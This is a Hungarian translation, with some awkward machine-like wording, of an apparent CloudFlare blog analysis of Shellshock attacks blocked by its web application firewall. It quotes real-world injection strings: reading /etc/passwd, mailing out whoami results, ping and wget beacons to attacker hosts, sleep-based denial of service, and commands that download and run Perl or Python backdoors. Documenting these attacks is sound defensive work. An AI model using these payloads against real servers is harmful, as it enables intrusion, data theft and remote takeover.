A Shellshock belsejében: hogyan használják a hackerek a rendszerek kihasználására

a múlt hét szerdán megjelentek a Shellshock bash hiba részletei. Ez a hiba megkezdte a számítógépek, szerverek, útválasztók, tűzfalak és más számítástechnikai eszközök javítását a Bash sebezhető verzióival.

a CloudFlare azonnal bevezette a védelmet a Pro, üzleti és vállalati ügyfelek számára a webes alkalmazás tűzfalán keresztül. Vasárnap, miután tanulmányoztuk a probléma mértékét, és megnéztük a WAF által megállított támadások naplóit, úgy döntöttünk, hogy a Free plan ügyfeleinknek is védelmet nyújtunk.

azóta megfigyeljük a megállított támadásokat, hogy megértsük, hogyan néznek ki, és honnan származnak. Megfigyeléseink alapján egyértelmű, hogy a hackerek világszerte kihasználják a Shellshockot.


(CC BY 2.0 aussiegall)

kiadás

A Shellshock probléma egy példa egy tetszőleges kódfuttatási (Ace) biztonsági résre. Az ACE sebezhetőségi támadásokat általában futó programokon hajtják végre, és rendkívül kifinomult megértést igényelnek a kódfuttatás, a memória elrendezése és az összeszerelési nyelv belső részéről—röviden, Az ilyen típusú támadásokhoz szakértőre van szükség.

a támadó egy ACE sebezhetőséget is használ egy olyan program feltöltésére vagy futtatására, amely egyszerű módot ad a célzott gép vezérlésére. Ezt gyakran egy “héj”futtatásával érik el. A shell egy parancssor, ahol parancsokat lehet beírni és végrehajtani.

a Shellshock biztonsági rés nagy probléma, mert megszünteti a speciális ismeretek szükségességét, és egyszerű (sajnos nagyon egyszerű) módot biztosít egy másik számítógép (például egy webszerver) irányítására és a kód futtatására.

tegyük fel, hogy egy pillanatra meg akart támadni egy webszervert, és a CD-vagy DVD-meghajtóját kinyitotta. Valójában van egy parancs a Linuxon, amely ezt megteszi: /bin/eject. Ha egy webszerver sebezhető a Shellshock-ra, akkor megtámadhatja a () { :; }; mágikus karakterlánc hozzáadásával a /bin/eject – hez, majd a karakterlánc elküldésével a célszámítógépre HTTP-n keresztül. Normális esetben aUser-Agent karakterlánc azonosítja a használt böngésző típusát, de a Shellshock biztonsági rés esetén bármit beállíthat.

például, ha example.com akkor

curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/

elegendő lenne a CD vagy DVD meghajtó kiadásához.

az általunk blokkolt Shellshock támadások figyelésekor valójában láttunk valakit, aki pontosan ezt a támadást próbálta meg. Tehát, ha futtat egy webszervert, és hirtelen talál egy kidobott DVD-t, ez azt jelezheti, hogy a gép sebezhető a Shellshock ellen.

miért működik ez az egyszerű támadás

amikor egy webszerver kérést kap egy oldalra, a kérésnek három része van, amelyek érzékenyek lehetnek a Shellshock támadásra: a kérelem URL-je, az URL-vel együtt küldött fejlécek, valamint az úgynevezett “argumentumok” (amikor megadja a nevét és címét egy webhelyen, általában argumentumként kerül elküldésre a kérésben).

például itt van egy tényleges HTTP kérés, amely lekéri a CloudFlare honlapját:

GET / HTTP/1.1Accept-Encoding: gzip,deflate,sdchAccept-Language: en-US,en;q=0.8,fr;q=0.6Cache-Control: no-cachePragma: no-cacheUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36Host: cloudflare.com

ebben az esetben az URL / (a főoldalon), a fejlécek pedig Accept-EncodingAccept-Language stb. Ezek a fejlécek információt nyújtanak a webszervernek a webböngésző képességeiről, a preferált nyelvről, a keresett webhelyről és arról, hogy milyen böngészőt használok.

nem ritka, hogy ezeket változókká alakítják egy webszerveren belül, hogy a webszerver megvizsgálhassa őket. (Lehet, hogy a webszerver szeretné tudni, hogy mi a preferált nyelvem, így eldöntheti, hogyan válaszoljon nekem).

például a CloudFlare kezdőlapjára vonatkozó kérelemre válaszoló webkiszolgálón belül lehetséges, hogy a következő változókat a kérés fejlécének karakterenkénti másolásával határozzák meg.

HTTP_ACCEPT_ENCODING=gzip,deflate,sdchHTTP_ACCEPT_LANGUAGE=en-US,en;q=0.8,fr;q=0.6HTTP_CACHE_CONTROL=no-cacheHTTP_PRAGMA=no-cacheHTTP_USER_AGENT=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36HTTP_HOST=cloudflare.com

amíg ezek a változók a webkiszolgáló szoftverén belül maradnak, és nem kerülnek továbbításra a webkiszolgálón futó más programoknak, a szerver nem sebezhető.

Shellshock akkor fordul elő, amikor a változók átkerülnek a “bash”nevű héjba. A Bash egy gyakori shell, amelyet Linux rendszereken használnak. A webszervereknek gyakran más programokat kell futtatniuk, hogy válaszoljanak egy kérésre, és gyakori, hogy ezeket a változókat a bash vagy egy másik shell adja át.

a Shellshock probléma kifejezetten akkor fordul elő, amikor a támadó módosítja az origin HTTP kérést, hogy tartalmazza a magic () { :; }; karakterláncot, amelyet fent tárgyaltunk.

tegyük fel, hogy a támadó a fenti User-Agent fejlécetMozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 – ről egyszerűen() { :; }; /bin/eject – re változtatja. Ez a következő változót hozza létre egy webkiszolgálón belül:

HTTP_USER_AGENT=() { :; }; /bin/eject

Ha ezt a változót a webszerver továbbítja a bash-ba, akkor a Shellshock probléma lép fel. Ez azért van, mert a bash speciális szabályokkal rendelkezik a () { :; };kezdődő változó kezelésére. Ahelyett, hogy a HTTP_USER_AGENT változót speciális jelentés nélküli karaktersorozatként kezelné, a bash úgy fogja értelmezni, mint egy végrehajtandó parancsot (kihagytam a mélyen technikai magyarázatokat arra, hogy miért () { :; }; teszi bash-t így viselkedni az egyértelműség kedvéért ebben az esszében.)

a probléma az, hogy a HTTP_USER_AGENT a User-Agent fejlécből származik, amelyet a támadó vezérel, mert HTTP kérésben érkezik a webkiszolgálóra. Ez pedig a katasztrófa receptje, mert a támadó egy sebezhető kiszolgálót bármilyen parancs futtatására képes (lásd az alábbi példákat).

a megoldás a Bash frissítése olyan verzióra, amely nem értelmezi a () { :; }; speciális módon.

ahol a támadások érkeznek

amikor minden ügyfél számára védelmet nyújtottunk, olyan mutatót vezettünk be, amely lehetővé tette számunkra, hogy figyelemmel kísérjük a megkísérelt Shellshock támadások számát. Mindannyian kaptak egy HTTP 403 tiltott hibakódot, de naplót tartottunk arról, hogy mikor történtek, és alapvető információkat a támadásról.

Ez a diagram a CloudFlare hálózaton másodpercenként végrehajtott támadások számát mutatja az összes ügyfél számára biztosított védelem bevezetése óta.

attól a pillanattól kezdve, hogy a CloudFlare bekapcsolta a Shellshock védelmet, egészen ma kora reggelig 10-15 támadást láttunk másodpercenként. A támadások volumenének sorrendjében ezek a kérések Franciaországból (80%), az Egyesült Államokból (7%), Hollandiából (7%) érkeztek, majd kisebb mennyiségeket sok más országból.

körülbelül 0100 Pacific (1000 Párizsban) a támadások Franciaország megszűnt. Jelenleg másodpercenként körülbelül 5 támadást látunk. Az írás idején jóval több mint 1,1 millió Shellshock támadást blokkoltunk.

hagyd, hogy a képzelet vadul

mivel olyan könnyű támadni sebezhető gépek Shellshock, és mivel a sebezhető gép fut minden parancsot küldött neki, támadók hagyta, hogy a képzelet vad módon manipulálni számítógépek távolról.

a CloudFlare WAF naplózza az okot, amiért blokkolt egy kérést, amely lehetővé teszi számunkra, hogy kivonjuk és elemezzük a ténylegesen használt Shellshock karakterláncokat. A Shellshock-ot elsősorban felderítésre használják: privát információk kinyerésére, valamint arra, hogy a támadók megszerezzék az irányítást a szerverek felett.

a legtöbb Shellshock parancsot a HTTP User-Agent és Referer fejlécek segítségével injektálják, de a támadók a GET és POST argumentumokat és más véletlenszerű HTTP fejléceket is használnak.

a privát információk kinyeréséhez a támadók néhány technikát használnak. A legegyszerűbb kivonási támadások a következő formában érhetők el:

() {:;}; /bin/cat /etc/passwd

, amely beolvassa a /etc/passwd jelszófájlt, és hozzáadja azt a webkiszolgáló válaszához. Tehát egy támadó, aki ezt a kódot injektálja a Shellshock biztonsági résen keresztül, a weboldal részeként visszaküldött jelszófájlt kidobja a képernyőjére.

egy támadás során egyszerűen privát fájlokat küldenek maguknak. Az adatok e-mailben történő kiszállításához a támadók a mail parancsot használják:

() { :;}; /bin/bash -c \"whoami | mail -s 'example.com l' 

Ez a parancs először fut whoami hogy megtudja a webkiszolgálót futtató felhasználó nevét. Ez különösen hasznos, mert ha a webszervert root-ként futtatják (a superuser, aki bármit megtehet), akkor a szerver különösen gazdag célpont lesz.

ezután elküldi a felhasználónevet a megtámadott webhely nevével együtt (example.com fent) e-mailben. A webhely neve megjelenik az e-mail tárgysorában.

szabadidejükben a támadó bejelentkezhet az e-mailjébe, és megtudhatja, mely webhelyek voltak sebezhetőek. Ugyanaz az e-mail technika használható olyan adatok kinyerésére, mint a jelszófájl.


(CC BY 2.0 JD Hancock)

felderítés

messze a legnépszerűbb támadást (az összes támadás körülbelül 83% – át) “felderítésnek”nevezzük. A felderítő támadások során a támadó olyan parancsot küld, amely üzenetet küld egy harmadik fél gépének. A harmadik féltől származó gép ezután összeállítja az összes sebezhető gép listáját, amely kapcsolatba lépett vele.

a múltban láttuk a veszélyeztetett gépek listáját botnetekké alakítva DDoS, spam vagy más célokra.

egy népszerű felderítő technika a ping parancsot használja, hogy egy sebezhető gép egyetlen csomagot küldjön (úgynevezett ping) egy harmadik fél szerverére, amelyet a támadó irányít. A támadási karakterlánc így néz ki:

() {:;}; ping -c 1 -p cb18cb3f7bca4441a595fcc1e240deb0 attacker-machine.com

a ping parancsot általában arra használják, hogy teszteljék, hogy egy gép “él” vagy online (egy élő gép saját pingjével válaszol). Ha egy webszerver sebezhető a Shellshock számára, akkor egyetlen ping csomagot küld (a -c 1) a támadó-gépnek.com a -páltal beállított hasznos teherrel. A hasznos teher egy egyedi azonosító, amelyet a támadó hoz létre, így nyomon követheti a pinget a sebezhető webhelyre.

a sebezhető kiszolgálók azonosításának másik technikája az, hogy a webszerver egy weboldalt tölt le egy támadó által vezérelt gépről. A támadó ezután megnézheti a webkiszolgáló naplóit, hogy megtudja, melyik gép volt sebezhető. Ez a támadás úgy működik, hogy olyan Shellshock karakterláncot küld, mint:

() {:;}; /usr/bin/wget http://attacker-controlled.com/ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== >> /dev/null

a támadó a attacker-controlled.com a bejegyzésekhez. A letöltött oldalt a támadó állítja be, hogy felfedje a megtámadott webhely nevét. A ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== valójában egy kód, amely azt jelzi, hogy a megtámadott webhely example.com.

ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== valójában egy base64 kódolású karakterlánc. Amikor dekódolt ez így hangzik:

example.comShellShockSalt

ebből a karakterláncból a támadó megtudhatja, hogy a támadás példa.a com sikeres volt, és ha igen, akkor később visszamehetnek, hogy tovább használják az oldalt. Miközben helyettesítettem a céltartományt, valódi példákat látunk a vadonban, amelyek valójában a ShellShockSalt sót használják a hash-ban.

szolgáltatásmegtagadás

egy másik Shellshock támadás ezt a karakterláncot használja

() { :;}; /bin/sleep 20|/sbin/sleep 20|/usr/bin/sleep 20

megpróbálja futtatni a sleep parancsot három különböző módon (mivel a rendszerek kissé eltérő konfigurációkkal rendelkeznek, az alvás megtalálható a könyvtárakban /bin vagy /sbin vagy /usr/bin). Bármelyik alvás is fut, a szerver 20 másodpercet vár, mielőtt válaszolna . Ez erőforrásokat fog igénybe venni a gépen, mert a sleep programot végrehajtó szál vagy folyamat 20 másodpercig nem tesz mást.

Ez talán a legegyszerűbb szolgáltatásmegtagadás. A támadók egyszerűen azt mondják a gépnek, hogy aludjon egy ideig. Küldj elég ilyen parancsokat, és a gép lehet kötve csinál semmit, és nem tudja kiszolgálni jogos kéréseket.


(CC BY 2.0 peter castleton)

az irányítás átvétele

az eddig látott támadások körülbelül 8% – A egy szerver közvetlen irányítására irányult. A távoli támadások így néznek ki:

() { :;}; /bin/bash -c \"cd /tmp;wget http://213.x.x.x/ji;curl -O /tmp/ji http://213.x.x.x/ji ; perl /tmp/ji;rm -rf /tmp/ji\"

Ez a parancs két programot próbál használni (wget és curl) EGY program letöltésére egy olyan szerverről, amelyet a támadó irányít. A program Perl nyelven íródott, és a letöltés után azonnal fut. Ez a program távoli hozzáférést állít be a támadó számára a sebezhető webkiszolgálóhoz.

egy másik támadás a Python nyelvet használja egy olyan program beállításához, amely bármely parancs távoli futtatására használható a sebezhető gépen:

() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://xxxxxxxxxxxxxxx.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\"

a cl.py a letöltött program úgy néz ki, mint a ClamAV víruskereső program frissítése. 5 másodperc késés után a támadás megtisztul a letöltött fájl eltávolításával (csak a memóriában fut).


(CC BY 2.0 Jeff Taylor)

Target Selection

a megtámadott weboldalakat és a kért URL-eket nézve lehetséges, hogy egy képzett találgatás a megtámadott webalkalmazásokról.

a támadott legfontosabb URL-ek a következők: /(23.00%), /cgi-bin-sdb/printenv(15,12%), /cgi-mod/index.cgi (14,93%), /cgi-sys/entropysearch.cgi (15,20%) és /cgi-sys/defaultwebpage.cgi(14, 59%). Ezen URL-ek egy részét népszerű webes alkalmazások, sőt hardvereszközök is használják.

úgy tűnik, hogy a támadások 23%-a a cPanel web hosting vezérlő szoftver ellen irányul, 15% a régi Apache telepítések ellen, 15% pedig a Barracuda hardvertermékek ellen, amelyek webalapú felülettel rendelkeznek.

Ez utóbbi azért érdekes, mert kiemeli azt a tényt, hogy a Shellshock nem csak egy támadás weboldalak ellen, hanem támadás minden ellen, ami bash-t futtat és elérhető az Interneten. Ez magában foglalhatja a hardvereszközöket, a set-top boxokat, a laptop számítógépeket, még talán a telefonokat is.

Vélemény, hozzászólás?

Az e-mail-címet nem tesszük közzé.